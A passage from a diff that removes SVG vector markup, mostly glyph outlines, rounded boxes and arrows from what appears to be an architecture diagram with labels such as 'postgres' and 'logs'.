639.312729,400.846338 640.177312,401.169255 C641.364812,401.596338 642.166895,402.02863 642.583562,402.46613 C643.000229,402.90363 643.208562,403.455713 643.208562,404.12238 Z M648.889775,405.77863 C649.160609,405.77863 649.415817,405.757797 649.6554,405.71613 C649.9054,405.674463 650.103317,405.632797 650.24915,405.59113 L650.24915,406.74738 C650.0929,406.830713 649.853317,406.898422 649.5304,406.950505 C649.207484,407.002588 648.921025,407.02863 648.671025,407.02863 C646.743942,407.02863 645.7804,406.007797 645.7804,403.96613 L645.7804,398.02863 L644.3429,398.02863 L644.3429,397.30988 L645.7804,396.669255 L646.4054,394.544255 L647.2804,394.544255 L647.2804,396.856755 L650.18665,396.856755 L650.18665,398.02863 L647.2804,398.02863 L647.2804,403.90363 C647.2804,404.507797 647.421025,404.971338 647.702275,405.294255 C647.993942,405.617172 648.389775,405.77863 648.889775,405.77863 Z M656.475957,407.02863 C654.99679,407.02863 653.830124,406.580713 652.975957,405.68488 C652.12179,404.77863 651.694707,403.52863 651.694707,401.93488 C651.694707,400.320297 652.09054,399.039047 652.882207,398.09113 C653.673874,397.143213 654.736374,396.669255 656.069707,396.669255 C657.330124,396.669255 658.319707,397.080713 659.038457,397.90363 C659.767624,398.726547 660.132207,399.815088 660.132207,401.169255 L660.132207,402.12238 L653.257207,402.12238 C653.288457,403.299463 653.585332,404.190088 654.147832,404.794255 C654.710332,405.398422 655.501999,405.700505 656.522832,405.700505 C657.595749,405.700505 658.658249,405.476547 659.710332,405.02863 L659.710332,406.37238 C659.179082,406.601547 658.673874,406.768213 658.194707,406.87238 C657.71554,406.976547 657.142624,407.02863 656.475957,407.02863 Z M656.054082,397.93488 C655.251999,397.93488 654.611374,398.200505 654.132207,398.731755 C653.663457,399.252588 653.387415,399.971338 653.304082,400.888005 L658.522832,400.888005 C658.522832,399.940088 658.30929,399.210922 657.882207,398.700505 C657.455124,398.190088 656.845749,397.93488 656.054082,397.93488 Z M667.270879,396.669255 C667.718796,396.669255 668.114629,396.705713 668.458379,396.77863 L668.255254,398.18488 C667.838587,398.09113 667.474004,398.044255 667.161504,398.044255 C666.359421,398.044255 665.666712,398.37238 665.083379,399.02863 C664.510462,399.68488 664.224004,400.502588 664.224004,401.481755 L664.224004,406.84113 L662.724004,406.84113 L662.724004,396.856755 L663.958379,396.856755 L664.145879,398.700505 L664.208379,398.700505 C664.583379,398.054672 665.031296,397.554672 665.552129,397.200505 C666.072962,396.846338 666.645879,396.669255 667.270879,396.669255 Z M670.120794,405.87238 C670.120794,405.46613 670.209335,405.158838 670.386419,404.950505 C670.573919,404.742172 670.839544,404.638005 671.183294,404.638005 C671.53746,404.638005 671.813502,404.742172 672.011419,404.950505 C672.209335,405.158838 672.308294,405.46613 672.308294,405.87238 C672.308294,406.268213 672.209335,406.575505 672.011419,406.794255 C671.813502,407.002588 671.53746,407.106755 671.183294,407.106755 C670.88121,407.106755 670.626002,407.013005 670.417669,406.825505 C670.219752,406.627588 670.120794,406.30988 670.120794,405.87238 Z M670.120794,397.825505 C670.120794,397.013005 670.47496,396.606755 671.183294,396.606755 C671.933294,396.606755 672.308294,397.013005 672.308294,397.825505 C672.308294,398.221338 672.209335,398.52863 672.011419,398.74738 C671.813502,398.955713 671.53746,399.05988 671.183294,399.05988 C670.88121,399.05988 670.626002,398.96613 670.417669,398.77863 C670.219752,398.580713 670.120794,398.263005 670.120794,397.825505 Z M686.291144,406.84113 L685.978644,405.419255 L685.916144,405.419255 C685.416144,406.044255 684.916144,406.471338 684.416144,406.700505 C683.92656,406.919255 683.311977,407.02863 682.572394,407.02863 C681.58281,407.02863 680.806769,406.773422 680.244269,406.263005 C679.681769,405.752588 679.400519,405.023422 679.400519,404.075505 C679.400519,402.065088 681.009894,401.007797 684.228644,400.90363 L685.931769,400.856755 L685.931769,400.231755 C685.931769,399.450505 685.759894,398.87238 685.416144,398.49738 C685.08281,398.12238 684.546352,397.93488 683.806769,397.93488 C682.973435,397.93488 682.030727,398.190088 680.978644,398.700505 L680.525519,397.544255 C681.015102,397.283838 681.55156,397.080713 682.134894,396.93488 C682.718227,396.77863 683.306769,396.700505 683.900519,396.700505 C685.088019,396.700505 685.968227,396.96613 686.541144,397.49738 C687.11406,398.018213 687.400519,398.861963 687.400519,400.02863 L687.400519,406.84113 L686.291144,406.84113 Z M682.869269,405.77863 C683.806769,405.77863 684.541144,405.523422 685.072394,405.013005 C685.61406,404.492172 685.884894,403.763005 685.884894,402.825505 L685.884894,401.93488 L684.384894,401.99738 C683.17656,402.039047 682.306769,402.226547 681.775519,402.55988 C681.244269,402.882797 680.978644,403.398422 680.978644,404.106755 C680.978644,404.648422 681.14531,405.065088 681.478644,405.356755 C681.811977,405.638005 682.275519,405.77863 682.869269,405.77863 Z M703.24494,406.84113 L703.24494,400.34113 C703.24494,399.549463 703.073065,398.955713 702.729315,398.55988 C702.395981,398.164047 701.86994,397.96613 701.15119,397.96613 C700.21369,397.96613 699.515773,398.236963 699.05744,398.77863 C698.609523,399.30988 698.385565,400.138005 698.385565,401.263005 L698.385565,406.84113 L696.885565,406.84113 L696.885565,400.34113 C696.885565,399.549463 696.71369,398.955713 696.36994,398.55988 C696.02619,398.164047 695.49494,397.96613 694.77619,397.96613 C693.828273,397.96613 693.130356,398.252588 692.68244,398.825505 C692.24494,399.388005 692.02619,400.315088 692.02619,401.606755 L692.02619,406.84113 L690.52619,406.84113 L690.52619,396.856755 L691.74494,396.856755 L691.99494,398.21613 L692.073065,398.21613 C692.354315,397.736963 692.755356,397.361963 693.27619,397.09113 C693.797023,396.80988 694.380356,396.669255 695.02619,396.669255 C696.578273,396.669255 697.599106,397.236963 698.08869,398.37238 L698.15119,398.37238 C698.453273,397.851547 698.885565,397.440088 699.448065,397.138005 C700.010565,396.825505 700.656398,396.669255 701.385565,396.669255 C702.510565,396.669255 703.354315,396.960922 703.916815,397.544255 C704.479315,398.127588 704.760565,399.054672 704.760565,400.325505 L704.760565,406.84113 L703.24494,406.84113 Z M712.098578,407.02863 C710.619411,407.02863 709.452744,406.580713 708.598578,405.68488 C707.744411,404.77863 707.317328,403.52863 707.317328,401.93488 C707.317328,400.320297 707.713161,399.039047 708.504828,398.09113 C709.296494,397.143213 710.358994,396.669255 711.692328,396.669255 C712.952744,396.669255 713.942328,397.080713 714.661078,397.90363 C715.390244,398.726547 715.754828,399.815088 715.754828,401.169255 L715.754828,402.12238 L708.879828,402.12238 C708.911078,403.299463 709.207953,404.190088 709.770453,404.794255 C710.332953,405.398422 711.124619,405.700505 712.145453,405.700505 C713.218369,405.700505 714.280869,405.476547 715.332953,405.02863 L715.332953,406.37238 C714.801703,406.601547 714.296494,406.768213 713.817328,406.87238 C713.338161,406.976547 712.765244,407.02863 712.098578,407.02863 Z M711.676703,397.93488 C710.874619,397.93488 710.233994,398.200505 709.754828,398.731755 C709.286078,399.252588 709.010036,399.971338 708.926703,400.888005 L714.145453,400.888005 C714.145453,399.940088 713.931911,399.210922 713.504828,398.700505 C713.077744,398.190088 712.468369,397.93488 711.676703,397.93488 Z M724.48725,406.84113 L724.17475,405.419255 L724.11225,405.419255 C723.61225,406.044255 723.11225,406.471338 722.61225,406.700505 C722.122666,406.919255 721.508083,407.02863 720.7685,407.02863 C719.778916,407.02863 719.002875,406.773422 718.440375,406.263005 C717.877875,405.752588 717.596625,405.023422 717.596625,404.075505 C717.596625,402.065088 719.206,401.007797 722.42475,400.90363 L724.127875,400.856755 L724.127875,400.231755 C724.127875,399.450505 723.956,398.87238 723.61225,398.49738 C723.278916,398.12238 722.742458,397.93488 722.002875,397.93488 C721.169541,397.93488 720.226833,398.190088 719.17475,398.700505 L718.721625,397.544255 C719.211208,397.283838 719.747666,397.080713 720.331,396.93488 C720.914333,396.77863 721.502875,396.700505 722.096625,396.700505 C723.284125,396.700505 724.164333,396.96613 724.73725,397.49738 C725.310166,398.018213 725.596625,398.861963 725.596625,400.02863 L725.596625,406.84113 L724.48725,406.84113 Z M721.065375,405.77863 C722.002875,405.77863 722.73725,405.523422 723.2685,405.013005 C723.810166,404.492172 724.081,403.763005 724.081,402.825505 L724.081,401.93488 L722.581,401.99738 C721.372666,402.039047 720.502875,402.226547 719.971625,402.55988 C719.440375,402.882797 719.17475,403.398422 719.17475,404.106755 C719.17475,404.648422 719.341416,405.065088 719.67475,405.356755 C720.008083,405.638005 720.471625,405.77863 721.065375,405.77863 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M590.70557,446.24387 L590.70557,446.24387 C590.70557,437.995671 597.392032,431.309178 605.640262,431.309178 L731.581912,431.309178 C735.542849,431.309178 739.341494,432.882664 742.142337,435.683446 C744.943118,438.484257 746.516605,442.282964 746.516605,446.243871 L746.516605,505.980811 C746.516605,514.22901 739.830081,520.915473 731.581913,520.915473 L605.640263,520.915473 C597.392033,520.915473 590.70557,514.22901 590.70557,505.980811 L590.70557,446.24387 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M590.70557,446.24387 L590.70557,446.24387 C590.70557,437.995671 597.392032,431.309178 605.640262,431.309178 L731.581912,431.309178 C735.542849,431.309178 739.341494,432.882664 742.142337,435.683446 C744.943118,438.484257 746.516605,442.282964 746.516605,446.243871 L746.516605,505.980811 C746.516605,514.22901 739.830081,520.915473 731.581913,520.915473 L605.640263,520.915473 C597.392033,520.915473 590.70557,514.22901 590.70557,505.980811 L590.70557,446.24387 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M658.01184,461.4159 C657.397257,461.926317 656.808715,462.2909 656.246215,462.50965 C655.694132,462.717983 655.095173,462.82215 654.44934,462.82215 C653.38684,462.82215 652.569132,462.561733 651.996215,462.0409 C651.423298,461.520067 651.13684,460.858608 651.13684,460.056525 C651.13684,459.577358 651.246215,459.145067 651.464965,458.75965 C651.683715,458.363817 651.964965,458.051317 652.308715,457.82215 C652.662882,457.582567 653.058715,457.400275 653.496215,457.275275 C653.808715,457.191942 654.29309,457.108608 654.94934,457.025275 C656.272257,456.869025 657.246215,456.681525 657.871215,456.462775 C657.881632,456.233608 657.88684,456.092983 657.88684,456.0409 C657.88684,455.374233 657.73059,454.900275 657.41809,454.619025 C657.001423,454.254442 656.376423,454.07215 655.54309,454.07215 C654.772257,454.07215 654.204548,454.207567 653.839965,454.4784 C653.475382,454.749233 653.204548,455.223192 653.027465,455.900275 L651.41809,455.681525 C651.563923,455.004442 651.803507,454.457567 652.13684,454.0409 C652.470173,453.613817 652.954548,453.285692 653.589965,453.056525 C654.225382,452.827358 654.954548,452.712775 655.777465,452.712775 C656.610798,452.712775 657.282673,452.811733 657.79309,453.00965 C658.313923,453.19715 658.694132,453.441942 658.933715,453.744025 C659.183715,454.035692 659.35559,454.405483 659.44934,454.8534 C659.501423,455.13465 659.527465,455.639858 659.527465,456.369025 L659.527465,458.556525 C659.527465,460.077358 659.563923,461.0409 659.63684,461.44715 C659.709757,461.842983 659.845173,462.2284 660.04309,462.6034 L658.339965,462.6034 C658.162882,462.25965 658.053507,461.863817 658.01184,461.4159 Z M657.871215,457.744025 C657.277465,457.994025 656.38684,458.202358 655.19934,458.369025 C654.522257,458.462775 654.04309,458.57215 653.76184,458.69715 C653.48059,458.82215 653.26184,458.999233 653.10559,459.2284 C652.959757,459.457567 652.88684,459.717983 652.88684,460.00965 C652.88684,460.44715 653.053507,460.811733 653.38684,461.1034 C653.720173,461.395067 654.204548,461.5409 654.839965,461.5409 C655.464965,461.5409 656.022257,461.405483 656.51184,461.13465 C657.01184,460.8534 657.376423,460.473192 657.60559,459.994025 C657.782673,459.619025 657.871215,459.07215 657.871215,458.3534 L657.871215,457.744025 Z M662.075072,462.6034 L662.075072,452.931525 L663.543822,452.931525 L663.543822,454.2909 C663.845906,453.811733 664.246947,453.431525 664.746947,453.150275 C665.257364,452.858608 665.830281,452.712775 666.465697,452.712775 C667.184447,452.712775 667.772989,452.863817 668.231322,453.1659 C668.689656,453.457567 669.012572,453.869025 669.200072,454.400275 C669.970906,453.275275 670.965697,452.712775 672.184447,452.712775 C673.153197,452.712775 673.892781,452.9784 674.403197,453.50965 C674.924031,454.0409 675.184447,454.858608 675.184447,455.962775 L675.184447,462.6034 L673.543822,462.6034 L673.543822,456.50965 C673.543822,455.8534 673.491739,455.38465 673.387572,455.1034 C673.283406,454.811733 673.090697,454.577358 672.809447,454.400275 C672.528197,454.223192 672.200072,454.13465 671.825072,454.13465 C671.147989,454.13465 670.585489,454.363817 670.137572,454.82215 C669.689656,455.270067 669.465697,455.988817 669.465697,456.9784 L669.465697,462.6034 L667.825072,462.6034 L667.825072,456.32215 C667.825072,455.592983 667.689656,455.046108 667.418822,454.681525 C667.147989,454.316942 666.710489,454.13465 666.106322,454.13465 C665.647989,454.13465 665.220906,454.254442 664.825072,454.494025 C664.429239,454.733608 664.142781,455.087775 663.965697,455.556525 C663.799031,456.025275 663.715697,456.702358 663.715697,457.587775 L663.715697,462.6034 L662.075072,462.6034 Z M683.334593,462.6034 L681.693968,462.6034 L681.693968,452.150275 C681.298135,452.525275 680.777302,452.905483 680.131468,453.2909 C679.496052,453.6659 678.923135,453.94715 678.412718,454.13465 L678.412718,452.5409 C679.329385,452.113817 680.131468,451.592983 680.818968,450.9784 C681.506468,450.363817 681.990843,449.770067 682.272093,449.19715 L683.334593,449.19715 L683.334593,462.6034 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M636.8635,480.42615 L636.8635,480.42615 C636.8635,476.619509 639.949377,473.533633 643.756017,473.533633 L693.467017,473.533633 C695.29502,473.533633 697.048194,474.259799 698.340796,475.552401 C699.633399,476.845004 700.359534,478.598147 700.359534,480.42615 L700.359534,507.995425 C700.359534,511.802066 697.273658,514.887942 693.467017,514.887942 L643.756017,514.887942 C639.949377,514.887942 636.8635,511.802066 636.8635,507.995425 L636.8635,480.42615 Z" id="Path" fill="#FEC514"></path>
-                <path d="M650.553,493.75827 L650.553,482.273895 L651.83425,482.273895 L651.83425,483.35202 C652.136333,482.924937 652.474875,482.607228 652.849875,482.398895 C653.235292,482.190562 653.698833,482.086395 654.2405,482.086395 C654.948833,482.086395 655.573833,482.268687 656.1155,482.63327 C656.657167,482.997853 657.063417,483.513478 657.33425,484.180145 C657.6155,484.836395 657.756125,485.560353 657.756125,486.35202 C657.756125,487.206187 657.599875,487.971812 657.287375,488.648895 C656.985292,489.325978 656.542583,489.846812 655.95925,490.211395 C655.386333,490.575978 654.776958,490.75827 654.131125,490.75827 C653.662375,490.75827 653.2405,490.659312 652.8655,490.461395 C652.500917,490.263478 652.198833,490.013478 651.95925,489.711395 L651.95925,493.75827 L650.553,493.75827 Z M651.818625,486.461395 C651.818625,487.534312 652.032167,488.325978 652.45925,488.836395 C652.89675,489.346812 653.422792,489.60202 654.037375,489.60202 C654.662375,489.60202 655.198833,489.336395 655.64675,488.805145 C656.094667,488.273895 656.318625,487.456187 656.318625,486.35202 C656.318625,485.28952 656.099875,484.497853 655.662375,483.97702 C655.224875,483.44577 654.704042,483.180145 654.099875,483.180145 C653.506125,483.180145 652.974875,483.461395 652.506125,484.023895 C652.047792,484.586395 651.818625,485.398895 651.818625,486.461395 Z M658.920187,486.41452 C658.920187,484.88327 659.347271,483.747853 660.201437,483.00827 C660.920187,482.393687 661.789979,482.086395 662.810812,482.086395 C663.956646,482.086395 664.888937,482.461395 665.607687,483.211395 C666.336854,483.950978 666.701437,484.982228 666.701437,486.305145 C666.701437,487.367645 666.539979,488.206187 666.217062,488.82077 C665.894146,489.435353 665.425396,489.91452 664.810812,490.25827 C664.206646,490.591603 663.539979,490.75827 662.810812,490.75827 C661.654562,490.75827 660.717062,490.388478 659.998312,489.648895 C659.279562,488.898895 658.920187,487.82077 658.920187,486.41452 Z M660.373312,486.41452 C660.373312,487.47702 660.602479,488.273895 661.060812,488.805145 C661.529562,489.336395 662.112896,489.60202 662.810812,489.60202 C663.508729,489.60202 664.086854,489.336395 664.545187,488.805145 C665.013937,488.273895 665.248312,487.461395 665.248312,486.367645 C665.248312,485.346812 665.013937,484.57077 664.545187,484.03952 C664.086854,483.50827 663.508729,483.242645 662.810812,483.242645 C662.112896,483.242645 661.529562,483.50827 661.060812,484.03952 C660.602479,484.560353 660.373312,485.35202 660.373312,486.41452 Z M667.787375,488.086395 L669.178,487.867645 C669.250917,488.430145 669.464458,488.862437 669.818625,489.16452 C670.183208,489.456187 670.683208,489.60202 671.318625,489.60202 C671.964458,489.60202 672.443625,489.471812 672.756125,489.211395 C673.068625,488.940562 673.224875,488.628062 673.224875,488.273895 C673.224875,487.961395 673.089458,487.711395 672.818625,487.523895 C672.620708,487.398895 672.141542,487.242645 671.381125,487.055145 C670.349875,486.794728 669.631125,486.57077 669.224875,486.38327 C668.829042,486.185353 668.526958,485.919728 668.318625,485.586395 C668.120708,485.253062 668.02175,484.88327 668.02175,484.47702 C668.02175,484.10202 668.105083,483.75827 668.27175,483.44577 C668.438417,483.13327 668.667583,482.872853 668.95925,482.66452 C669.178,482.497853 669.474875,482.362437 669.849875,482.25827 C670.235292,482.143687 670.641542,482.086395 671.068625,482.086395 C671.724875,482.086395 672.297792,482.180145 672.787375,482.367645 C673.276958,482.555145 673.636333,482.810353 673.8655,483.13327 C674.105083,483.44577 674.27175,483.872853 674.3655,484.41452 L672.9905,484.60202 C672.928,484.174937 672.745708,483.841603 672.443625,483.60202 C672.141542,483.362437 671.719667,483.242645 671.178,483.242645 C670.532167,483.242645 670.068625,483.35202 669.787375,483.57077 C669.516542,483.779103 669.381125,484.023895 669.381125,484.305145 C669.381125,484.492645 669.438417,484.659312 669.553,484.805145 C669.667583,484.950978 669.844667,485.075978 670.08425,485.180145 C670.230083,485.232228 670.64675,485.35202 671.33425,485.53952 C672.323833,485.799937 673.016542,486.018687 673.412375,486.19577 C673.808208,486.362437 674.1155,486.607228 674.33425,486.930145 C674.563417,487.253062 674.678,487.654103 674.678,488.13327 C674.678,488.60202 674.537375,489.044728 674.256125,489.461395 C673.985292,489.867645 673.589458,490.185353 673.068625,490.41452 C672.558208,490.643687 671.980083,490.75827 671.33425,490.75827 C670.250917,490.75827 669.428,490.534312 668.8655,490.086395 C668.303,489.638478 667.943625,488.971812 667.787375,488.086395 Z M679.412375,489.305145 L679.6155,490.555145 C679.219667,490.638478 678.8655,490.680145 678.553,490.680145 C678.042583,490.680145 677.64675,490.60202 677.3655,490.44577 C677.08425,490.279103 676.886333,490.065562 676.77175,489.805145 C676.657167,489.534312 676.599875,488.97702 676.599875,488.13327 L676.599875,483.367645 L675.568625,483.367645 L675.568625,482.273895 L676.599875,482.273895 L676.599875,480.211395 L678.006125,479.367645 L678.006125,482.273895 L679.412375,482.273895 L679.412375,483.367645 L678.006125,483.367645 L678.006125,488.211395 C678.006125,488.617645 678.026958,488.878062 678.068625,488.992645 C678.120708,489.107228 678.204042,489.200978 678.318625,489.273895 C678.433208,489.336395 678.594667,489.367645 678.803,489.367645 C678.95925,489.367645 679.162375,489.346812 679.412375,489.305145 Z M680.232687,488.086395 L681.623312,487.867645 C681.696229,488.430145 681.909771,488.862437 682.263937,489.16452 C682.628521,489.456187 683.128521,489.60202 683.763937,489.60202 C684.409771,489.60202 684.888937,489.471812 685.201437,489.211395 C685.513937,488.940562 685.670187,488.628062 685.670187,488.273895 C685.670187,487.961395 685.534771,487.711395 685.263937,487.523895 C685.066021,487.398895 684.586854,487.242645 683.826437,487.055145 C682.795187,486.794728 682.076437,486.57077 681.670187,486.38327 C681.274354,486.185353 680.972271,485.919728 680.763937,485.586395 C680.566021,485.253062 680.467062,484.88327 680.467062,484.47702 C680.467062,484.10202 680.550396,483.75827 680.717062,483.44577 C680.883729,483.13327 681.112896,482.872853 681.404562,482.66452 C681.623312,482.497853 681.920187,482.362437 682.295187,482.25827 C682.680604,482.143687 683.086854,482.086395 683.513937,482.086395 C684.170187,482.086395 684.743104,482.180145 685.232687,482.367645 C685.722271,482.555145 686.081646,482.810353 686.310812,483.13327 C686.550396,483.44577 686.717062,483.872853 686.810812,484.41452 L685.435812,484.60202 C685.373312,484.174937 685.191021,483.841603 684.888937,483.60202 C684.586854,483.362437 684.164979,483.242645 683.623312,483.242645 C682.977479,483.242645 682.513937,483.35202 682.232687,483.57077 C681.961854,483.779103 681.826437,484.023895 681.826437,484.305145 C681.826437,484.492645 681.883729,484.659312 681.998312,484.805145 C682.112896,484.950978 682.289979,485.075978 682.529562,485.180145 C682.675396,485.232228 683.092062,485.35202 683.779562,485.53952 C684.769146,485.799937 685.461854,486.018687 685.857687,486.19577 C686.253521,486.362437 686.560812,486.607228 686.779562,486.930145 C687.008729,487.253062 687.123312,487.654103 687.123312,488.13327 C687.123312,488.60202 686.982687,489.044728 686.701437,489.461395 C686.430604,489.867645 686.034771,490.185353 685.513937,490.41452 C685.003521,490.643687 684.425396,490.75827 683.779562,490.75827 C682.696229,490.75827 681.873312,490.534312 681.310812,490.086395 C680.748312,489.638478 680.388937,488.971812 680.232687,488.086395 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M664.79517,509.57077 L663.38892,509.57077 L663.38892,500.60202 C663.04517,500.924937 662.597253,501.247853 662.04517,501.57077 C661.503503,501.893687 661.01392,502.138478 660.57642,502.305145 L660.57642,500.94577 C661.35767,500.57077 662.039962,500.122853 662.623295,499.60202 C663.217045,499.07077 663.63892,498.560353 663.88892,498.07077 L664.79517,498.07077 L664.79517,509.57077 Z M668.959232,509.57077 L668.959232,498.117645 L673.287357,498.117645 C674.047774,498.117645 674.625899,498.154103 675.021732,498.22702 C675.584232,498.32077 676.052982,498.497853 676.427982,498.75827 C676.813399,499.018687 677.120691,499.388478 677.349857,499.867645 C677.589441,500.336395 677.709232,500.857228 677.709232,501.430145 C677.709232,502.398895 677.396732,503.221812 676.771732,503.898895 C676.157149,504.575978 675.037357,504.91452 673.412357,504.91452 L670.474857,504.91452 L670.474857,509.57077 L668.959232,509.57077 Z M670.474857,503.555145 L673.443607,503.555145 C674.422774,503.555145 675.115482,503.372853 675.521732,503.00827 C675.938399,502.643687 676.146732,502.13327 676.146732,501.47702 C676.146732,500.997853 676.021732,500.586395 675.771732,500.242645 C675.532149,499.898895 675.214441,499.674937 674.818607,499.57077 C674.568607,499.497853 674.099857,499.461395 673.412357,499.461395 L670.474857,499.461395 L670.474857,503.555145 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M636.8635,584.42615 L636.8635,584.42615 C636.8635,580.619509 639.949377,577.533633 643.756017,577.533633 L693.467017,577.533633 C695.29502,577.533633 697.048194,578.259768 698.340796,579.552371 C699.633399,580.844973 700.359534,582.598147 700.359534,584.42615 L700.359534,611.995425 C700.359534,615.802066 697.273658,618.887942 693.467017,618.887942 L643.756017,618.887942 C639.949377,618.887942 636.8635,615.802066 636.8635,611.995425 L636.8635,584.42615 Z" id="Path" fill="#FA734F"></path>
-                <path d="M654.96704,594.5708 L654.96704,583.117675 L656.37329,583.117675 L656.37329,594.5708 L654.96704,594.5708 Z M658.021727,590.41455 C658.021727,588.8833 658.448811,587.747883 659.302977,587.0083 C660.021727,586.393717 660.891519,586.086425 661.912352,586.086425 C663.058186,586.086425 663.990477,586.461425 664.709227,587.211425 C665.438394,587.951008 665.802977,588.982258 665.802977,590.305175 C665.802977,591.367675 665.641519,592.206217 665.318602,592.8208 C664.995686,593.435383 664.526936,593.91455 663.912352,594.2583 C663.308186,594.591633 662.641519,594.7583 661.912352,594.7583 C660.756102,594.7583 659.818602,594.388508 659.099852,593.648925 C658.381102,592.898925 658.021727,591.8208 658.021727,590.41455 Z M659.474852,590.41455 C659.474852,591.47705 659.704019,592.273925 660.162352,592.805175 C660.631102,593.336425 661.214436,593.60205 661.912352,593.60205 C662.610269,593.60205 663.188394,593.336425 663.646727,592.805175 C664.115477,592.273925 664.349852,591.461425 664.349852,590.367675 C664.349852,589.346842 664.115477,588.5708 663.646727,588.03955 C663.188394,587.5083 662.610269,587.242675 661.912352,587.242675 C661.214436,587.242675 660.631102,587.5083 660.162352,588.03955 C659.704019,588.560383 659.474852,589.35205 659.474852,590.41455 Z M667.18579,595.2583 L668.56079,595.461425 C668.612873,595.888508 668.769123,596.1958 669.02954,596.3833 C669.383707,596.643717 669.862873,596.773925 670.46704,596.773925 C671.112873,596.773925 671.612873,596.643717 671.96704,596.3833 C672.321207,596.122883 672.56079,595.7583 672.68579,595.28955 C672.758707,595.0083 672.795165,594.404133 672.795165,593.47705 C672.180582,594.206217 671.414957,594.5708 670.49829,594.5708 C669.352457,594.5708 668.46704,594.159342 667.84204,593.336425 C667.21704,592.513508 666.90454,591.523925 666.90454,590.367675 C666.90454,589.576008 667.045165,588.846842 667.326415,588.180175 C667.618082,587.513508 668.034748,586.997883 668.576415,586.6333 C669.128498,586.268717 669.769123,586.086425 670.49829,586.086425 C671.477457,586.086425 672.284748,586.482258 672.920165,587.273925 L672.920165,586.273925 L674.21704,586.273925 L674.21704,593.4458 C674.21704,594.737467 674.086832,595.654133 673.826415,596.1958 C673.565998,596.737467 673.149332,597.16455 672.576415,597.47705 C672.003498,597.78955 671.300373,597.9458 670.46704,597.9458 C669.477457,597.9458 668.675373,597.721842 668.06079,597.273925 C667.456623,596.826008 667.164957,596.154133 667.18579,595.2583 Z M668.357665,590.273925 C668.357665,591.357258 668.571207,592.148925 668.99829,592.648925 C669.43579,593.148925 669.977457,593.398925 670.62329,593.398925 C671.269123,593.398925 671.81079,593.154133 672.24829,592.66455 C672.68579,592.16455 672.90454,591.3833 672.90454,590.3208 C672.90454,589.299967 672.680582,588.534342 672.232665,588.023925 C671.784748,587.503092 671.243082,587.242675 670.607665,587.242675 C669.982665,587.242675 669.451415,587.497883 669.013915,588.0083 C668.576415,588.518717 668.357665,589.273925 668.357665,590.273925 Z M675.787352,592.086425 L677.177977,591.867675 C677.250894,592.430175 677.464436,592.862467 677.818602,593.16455 C678.183186,593.456217 678.683186,593.60205 679.318602,593.60205 C679.964436,593.60205 680.443602,593.471842 680.756102,593.211425 C681.068602,592.940592 681.224852,592.628092 681.224852,592.273925 C681.224852,591.961425 681.089436,591.711425 680.818602,591.523925 C680.620686,591.398925 680.141519,591.242675 679.381102,591.055175 C678.349852,590.794758 677.631102,590.5708 677.224852,590.3833 C676.829019,590.185383 676.526936,589.919758 676.318602,589.586425 C676.120686,589.253092 676.021727,588.8833 676.021727,588.47705 C676.021727,588.10205 676.105061,587.7583 676.271727,587.4458 C676.438394,587.1333 676.667561,586.872883 676.959227,586.66455 C677.177977,586.497883 677.474852,586.362467 677.849852,586.2583 C678.235269,586.143717 678.641519,586.086425 679.068602,586.086425 C679.724852,586.086425 680.297769,586.180175 680.787352,586.367675 C681.276936,586.555175 681.636311,586.810383 681.865477,587.1333 C682.105061,587.4458 682.271727,587.872883 682.365477,588.41455 L680.990477,588.60205 C680.927977,588.174967 680.745686,587.841633 680.443602,587.60205 C680.141519,587.362467 679.719644,587.242675 679.177977,587.242675 C678.532144,587.242675 678.068602,587.35205 677.787352,587.5708 C677.516519,587.779133 677.381102,588.023925 677.381102,588.305175 C677.381102,588.492675 677.438394,588.659342 677.552977,588.805175 C677.667561,588.951008 677.844644,589.076008 678.084227,589.180175 C678.230061,589.232258 678.646727,589.35205 679.334227,589.53955 C680.323811,589.799967 681.016519,590.018717 681.412352,590.1958 C681.808186,590.362467 682.115477,590.607258 682.334227,590.930175 C682.563394,591.253092 682.677977,591.654133 682.677977,592.1333 C682.677977,592.60205 682.537352,593.044758 682.256102,593.461425 C681.985269,593.867675 681.589436,594.185383 681.068602,594.41455 C680.558186,594.643717 679.980061,594.7583 679.334227,594.7583 C678.250894,594.7583 677.427977,594.534342 676.865477,594.086425 C676.302977,593.638508 675.943602,592.971842 675.787352,592.086425 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M664.79517,613.5708 L663.38892,613.5708 L663.38892,604.60205 C663.04517,604.924967 662.597253,605.247883 662.04517,605.5708 C661.503503,605.893717 661.01392,606.138508 660.57642,606.305175 L660.57642,604.9458 C661.35767,604.5708 662.039962,604.122883 662.623295,603.60205 C663.217045,603.0708 663.63892,602.560383 663.88892,602.0708 L664.79517,602.0708 L664.79517,613.5708 Z M668.959232,613.5708 L668.959232,602.117675 L673.287357,602.117675 C674.047774,602.117675 674.625899,602.154133 675.021732,602.22705 C675.584232,602.3208 676.052982,602.497883 676.427982,602.7583 C676.813399,603.018717 677.120691,603.388508 677.349857,603.867675 C677.589441,604.336425 677.709232,604.857258 677.709232,605.430175 C677.709232,606.398925 677.396732,607.221842 676.771732,607.898925 C676.157149,608.576008 675.037357,608.91455 673.412357,608.91455 L670.474857,608.91455 L670.474857,613.5708 L668.959232,613.5708 Z M670.474857,607.555175 L673.443607,607.555175 C674.422774,607.555175 675.115482,607.372883 675.521732,607.0083 C675.938399,606.643717 676.146732,606.1333 676.146732,605.47705 C676.146732,604.997883 676.021732,604.586425 675.771732,604.242675 C675.532149,603.898925 675.214441,603.674967 674.818607,603.5708 C674.568607,603.497883 674.099857,603.461425 673.412357,603.461425 L670.474857,603.461425 L670.474857,607.555175 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <line x1="427.8158" y1="451.6999" x2="590.71344" y2="476.109324" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="451.55078" y1="455.25647" x2="590.71344" y2="476.109345" id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" fill="#3D99D7" points="452.52988 448.72247 433.59882 452.566434 450.57172 461.790433"></polygon>
